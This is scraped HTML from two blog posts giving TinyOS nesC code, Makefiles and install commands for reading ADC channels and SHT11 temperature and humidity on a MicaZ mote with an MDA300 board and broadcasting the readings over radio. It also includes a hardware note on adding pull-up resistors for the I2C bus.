<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
task void readDoneTask()
{
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
if(adc0Done &&
adc1Done && adc2Done && adc3Done && adc4Done
&& adc5Done && adc6Done && adc7Done &&
!busy) {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
ADCMsg* adcpkt =
(ADCMsg*)(call Packet.getPayload(&pkt, sizeof(ADCMsg)));
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
if(adcpkt == NULL) {
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
return;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
adcpkt->nodeid =
TOS_NODE_ID;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
adcpkt->adcvalue0 =
val_sensor_0;</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
if (call
AMSend.send(AM_BROADCAST_ADDR, &pkt, sizeof(ADCMsg)) == SUCCESS)
{
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
busy = TRUE;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
adc0Done = FALSE;
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
}</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
Makefile</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
COMPONENTS=ADCReadAppC
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
SENSORBOARD=mda300</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
include$(MAKERULES)</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
make install micaz
mib510,/dev/ttyUSB0</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
Hardware Configuration</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
********************</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
This is not enough
to get the data from the sensor. Besides that we should
have to add 2X1Kohn Resistance to the Data Aqusition Board .
This enables the I2C data bus in the board.
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
VCC – CLK : 1 Kohm
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
VCC -DATA : 1 Kohm</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
</div>
Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com0tag:blogger.com,1999:blog-4527228262090522827.post-49112001930668421762013-10-22T00:10:00.001-07:002013-11-16T02:23:39.158-08:00TinyOS - Data Reading from Sensor on the MOTE SH11<div dir="ltr" style="text-align: left;" trbidi="on">
<style type="text/css">P { margin-bottom: 0.21cm; }A:link { }</style>
<br />
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<span style="font-size: small;"><i><b>Reading
SH11C Sensor Data [Temperature and Humidity] from MDA300CA DAB
Sensor </b></i></span>
</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<b>Sensor Programs</b></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
/*</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
Author : Bipin.
Kunjumon</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
*/</div>
<div align="JUSTIFY" style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
SenseC.nc</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
#include "Timer.h"
</div>
<div style="margin-bottom: 0cm;">
#include "Wireless.h"
</div>
<div style="margin-bottom: 0cm;">
module SenseC
</div>
<div style="margin-bottom: 0cm;">
{
</div>
<div style="margin-bottom: 0cm;">
uses {
</div>
<div style="margin-bottom: 0cm;">
interface Boot;
</div>
<div style="margin-bottom: 0cm;">
interface Leds;
</div>
<div style="margin-bottom: 0cm;">
interface Timer<TMilli>;
</div>
<div style="margin-bottom: 0cm;">
interface Read<uint16_t> as
TempRead;
</div>
<div style="margin-bottom: 0cm;">
interface Read<uint16_t> as
HumRead;
</div>
<div style="margin-bottom: 0cm;">
interface AMSend;
</div>
<div style="margin-bottom: 0cm;">
interface SplitControl as
AMControl;
</div>
<div style="margin-bottom: 0cm;">
interface Packet;
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
implementation
</div>
<div style="margin-bottom: 0cm;">
{
</div>
<div style="margin-bottom: 0cm;">
message_t packet;
</div>
<div style="margin-bottom: 0cm;">
bool locked;
</div>
<div style="margin-bottom: 0cm;">
wireless_msg_t rcm;
</div>
<div style="margin-bottom: 0cm;">
uint16_t temp;
</div>
<div style="margin-bottom: 0cm;">
uint16_t hum;
</div>
<div style="margin-bottom: 0cm;">
uint16_t counter=0;
</div>
<div style="margin-bottom: 0cm;">
// sampling frequency in binary
milliseconds
</div>
<div style="margin-bottom: 0cm;">
#define SAMPLING_FREQUENCY 100
</div>
<div style="margin-bottom: 0cm;">
</div>
<div style="margin-bottom: 0cm;">
event void Boot.booted()
</div>
<div style="margin-bottom: 0cm;">
{
</div>
<div style="margin-bottom: 0cm;">
call AMControl.start();
</div>
<div style="margin-bottom: 0cm;">
call Timer.startPeriodic(5000);
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
event void AMControl.startDone(error_t
err)
</div>
<div style="margin-bottom: 0cm;">
{
</div>
<div style="margin-bottom: 0cm;">
</div>
<div style="margin-bottom: 0cm;">
if (err == SUCCESS)
</div>
<div style="margin-bottom: 0cm;">
{
</div>
<div style="margin-bottom: 0cm;">
call Timer.startPeriodic(250);
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
else
</div>
<div style="margin-bottom: 0cm;">
{
</div>
<div style="margin-bottom: 0cm;">
call AMControl.start();
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
event void AMControl.stopDone(error_t
err)
</div>
<div style="margin-bottom: 0cm;">
{
</div>
<div style="margin-bottom: 0cm;">
// nstall micaz
mib510,/dev/ttyUSB0do nothing
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
event void Timer.fired()
</div>
<div style="margin-bottom: 0cm;">
{
</div>
<div style="margin-bottom: 0cm;">
call TempRead.read();
</div>
<div style="margin-bottom: 0cm;">
call HumRead.read();
</div>
<div style="margin-bottom: 0cm;">
counter++;
</div>
<div style="margin-bottom: 0cm;">
if (locked) {
</div>
<div style="margin-bottom: 0cm;">
return;
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
else {
</div>
<div style="margin-bottom: 0cm;">
wireless_msg_t* rcm =
(wireless_msg_t*)call Packet.getPayload(&packet,
sizeof(wireless_msg_t));
</div>
<div style="margin-bottom: 0cm;">
if (rcm == NULL) {
</div>
<div style="margin-bottom: 0cm;">
return;
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
rcm->counter = counter;
</div>
<div style="margin-bottom: 0cm;">
rcm->HumData=hum;
</div>
<div style="margin-bottom: 0cm;">
rcm->TempData=temp;
</div>
<div style="margin-bottom: 0cm;">
</div>
<div style="margin-bottom: 0cm;">
if (call
AMSend.send(AM_BROADCAST_ADDR, &packet, sizeof(wireless_msg_t))
== SUCCESS) {
</div>
<div style="margin-bottom: 0cm;">
locked = TRUE;
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
/*</div>
<div style="margin-bottom: 0cm;">
Temperature Sensor Reading …
SensirionSht11C</div>
<div style="margin-bottom: 0cm;">
*/</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
event void TempRead.readDone(error_t
result, uint16_t data)
</div>
<div style="margin-bottom: 0cm;">
{
</div>
<div style="margin-bottom: 0cm;">
if (result == SUCCESS){
</div>
<div style="margin-bottom: 0cm;">
if (data & 0x0004)
</div>
<div style="margin-bottom: 0cm;">
call Leds.led2On();
</div>
<div style="margin-bottom: 0cm;">
else
</div>
<div style="margin-bottom: 0cm;">
call Leds.led2Off();
</div>
<div style="margin-bottom: 0cm;">
if (data & 0x0002)
</div>
<div style="margin-bottom: 0cm;">
call Leds.led1On();
</div>
<div style="margin-bottom: 0cm;">
else
</div>
<div style="margin-bottom: 0cm;">
call Leds.led1Off();
</div>
<div style="margin-bottom: 0cm;">
if (data & 0x0001)
</div>
<div style="margin-bottom: 0cm;">
call Leds.led0On();
</div>
<div style="margin-bottom: 0cm;">
else
</div>
<div style="margin-bottom: 0cm;">
call Leds.led0Off();
</div>
<div style="margin-bottom: 0cm;">
</div>
<div style="margin-bottom: 0cm;">
temp=data;
</div>
<div style="margin-bottom: 0cm;">
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
else
</div>
<div style="margin-bottom: 0cm;">
temp=0xffff;
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
/*
</div>
<div style="margin-bottom: 0cm;">
Humidity Sensor Reading …
SensirionSht11C</div>
<div style="margin-bottom: 0cm;">
*/</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
event void HumRead.readDone(error_t
result, uint16_t data)
</div>
<div style="margin-bottom: 0cm;">
{
</div>
<div style="margin-bottom: 0cm;">
if (result == SUCCESS){
</div>
<div style="margin-bottom: 0cm;">
if (data & 0x0004)
</div>
<div style="margin-bottom: 0cm;">
call Leds.led2On();
</div>
<div style="margin-bottom: 0cm;">
else
</div>
<div style="margin-bottom: 0cm;">
call Leds.led2Off();
</div>
<div style="margin-bottom: 0cm;">
if (data & 0x0002)
</div>
<div style="margin-bottom: 0cm;">
call Leds.led1On();
</div>
<div style="margin-bottom: 0cm;">
else
</div>
<div style="margin-bottom: 0cm;">
call Leds.led1Off();
</div>
<div style="margin-bottom: 0cm;">
if (data & 0x0001)
</div>
<div style="margin-bottom: 0cm;">
call Leds.led0On();
</div>
<div style="margin-bottom: 0cm;">
else
</div>
<div style="margin-bottom: 0cm;">
call Leds.led0Off();
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
hum=data;
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
else
</div>
<div style="margin-bottom: 0cm;">
hum=0xffff;
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
</div>
<div style="margin-bottom: 0cm;">
event void AMSend.sendDone(message_t*
bufPtr, error_t error) {
</div>
<div style="margin-bottom: 0cm;">
if (&packet == bufPtr) {
</div>
<div style="margin-bottom: 0cm;">
locked = FALSE;
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
*********************************************************************************</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
SenseAppC.nc</div>
<div style="margin-bottom: 0cm;">
</div>
<div style="margin-bottom: 0cm;">
configuration SenseAppC
</div>
<div style="margin-bottom: 0cm;">
{
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
implementation
</div>
<div style="margin-bottom: 0cm;">
{
</div>
<div style="margin-bottom: 0cm;">
</div>
<div style="margin-bottom: 0cm;">
components SenseC, MainC, LedsC, new
TimerMilliC(), new SensirionSht11C() as TempSensor;
</div>
<div style="margin-bottom: 0cm;">
components new SensirionSht11C() as
HumSensor;
</div>
<div style="margin-bottom: 0cm;">
SenseC.Boot -> MainC;
</div>
<div style="margin-bottom: 0cm;">
SenseC.Leds -> LedsC;
</div>
<div style="margin-bottom: 0cm;">
SenseC.Timer -> TimerMilliC;
</div>
<div style="margin-bottom: 0cm;">
SenseC.TempRead ->
TempSensor.Temperature;
</div>
<div style="margin-bottom: 0cm;">
SenseC.HumRead ->
HumSensor.Humidity;
</div>
<div style="margin-bottom: 0cm;">
components new
AMSenderC(AM_WIRELESS_MSG);
</div>
<div style="margin-bottom: 0cm;">
SenseC.AMSend->AMSenderC;
</div>
<div style="margin-bottom: 0cm;">
SenseC.Packet->AMSenderC;
</div>
<div style="margin-bottom: 0cm;">
components ActiveMessageC;
</div>
<div style="margin-bottom: 0cm;">
SenseC.AMControl->ActiveMessageC;
</div>
<div style="margin-bottom: 0cm;">
}
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
Header file</div>
<div style="margin-bottom: 0cm;">
Wireless.h</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
************************************************************************************</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<b>Makefile</b></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
COMPONENT=SenseAppC
</div>
<div style="margin-bottom: 0cm;">
SENSORBOARD=mda300
</div>
<div style="margin-bottom: 0cm;">
include $(MAKERULES)
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
**********************************************************************************</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<b>Compile</b></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
make install micaz
mib510,devicename</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
**********************************************************************************</div>
<div style="margin-bottom: 0cm;">
We can receive this data by setup
a Base station Receiver wireless mote device and read the data
from its serial port</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
Serial Data Reading
</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
java net.tinyos.tools.Listen -comm
serial@devicename:platform</div>
<div style="margin-bottom: 0cm;">
<br /></div>
<div style="margin-bottom: 0cm;">
<br /></div>
<br /></div>
Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com1